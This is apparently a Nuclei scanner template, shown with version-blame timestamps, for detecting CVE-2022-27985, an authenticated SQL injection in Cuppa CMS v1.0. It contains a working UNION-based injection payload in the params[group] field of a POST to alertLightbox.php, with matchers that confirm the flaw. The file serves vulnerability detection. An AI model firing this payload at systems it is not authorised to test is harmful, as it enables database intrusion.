2023-05-06 12:12:20 +00:00
|
|
|
id: CVE-2022-27985
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Cuppa CMS v1.0 - SQL injection
|
|
|
|
author: theamanrawat
|
|
|
|
severity: critical
|
|
|
|
description: |
|
|
|
|
CuppaCMS v1.0 was discovered to contain a SQL injection vulnerability via /administrator/alerts/alertLightbox.php.
|
2023-09-06 11:59:08 +00:00
|
|
|
remediation: |
|
|
|
|
Upgrade to the latest version of Cuppa CMS or apply the provided patch to fix the SQL injection vulnerability.
|
2023-05-06 12:12:20 +00:00
|
|
|
reference:
|
|
|
|
- https://github.com/CuppaCMS/CuppaCMS
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-27985
|
2023-07-11 19:49:27 +00:00
|
|
|
- http://cuppa.com
|
|
|
|
- http://www.cuppacms.com/
|
2023-05-06 12:12:20 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
|
|
cvss-score: 9.8
|
|
|
|
cve-id: CVE-2022-27985
|
|
|
|
cwe-id: CWE-89
|
2023-11-05 22:23:39 +00:00
|
|
|
epss-score: 0.01457
|
2023-11-14 14:37:18 +00:00
|
|
|
epss-percentile: 0.85213
|
2023-09-06 11:59:08 +00:00
|
|
|
cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
|
2023-05-06 12:12:20 +00:00
|
|
|
metadata:
|
2023-06-04 08:13:42 +00:00
|
|
|
verified: true
|
2023-09-06 11:59:08 +00:00
|
|
|
max-request: 2
|
2023-07-11 19:49:27 +00:00
|
|
|
vendor: cuppacms
|
|
|
|
product: cuppacms
|
2023-05-06 12:12:20 +00:00
|
|
|
tags: cve,cve2022,sqli,cuppa,authenticated
|
|
|
|
variables:
|
|
|
|
num: '999999999'
|
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST / HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
user={{username}}&password={{password}}&language=en&task=login
|
|
|
|
- |
|
|
|
|
POST /alerts/alertLightbox.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
|
|
|
|
|
|
url=components%2Fpermissions%2Flist_permissions_lightbox.php&title=Permissions%3A+profile¶ms%5Bgroup%5D=3'+UNION+ALL+SELECT+md5('{{num}}'),null--+-¶ms%5Breference%5D=41&uniqueClass=new_content_3983163
|
|
|
|
|
|
|
|
cookie-reuse: true
|
2023-07-11 19:49:27 +00:00
|
|
|
|
2023-05-06 12:12:20 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- '{{md5(num)}}'
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- "text/html"
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2023-11-14 16:39:03 +00:00
|
|
|
|
|
|
|
# digest: 490a00463044022049a9bde8f5339c4bdacb75f6f1526a6ab30512d3ac649c8da3274010cab7cbad02207767b53688fdf6051a5def6e70b30f001fdb8446ee3c44e13d861d506a6985cb:922c64590222798bb761d5b6d8e72950
|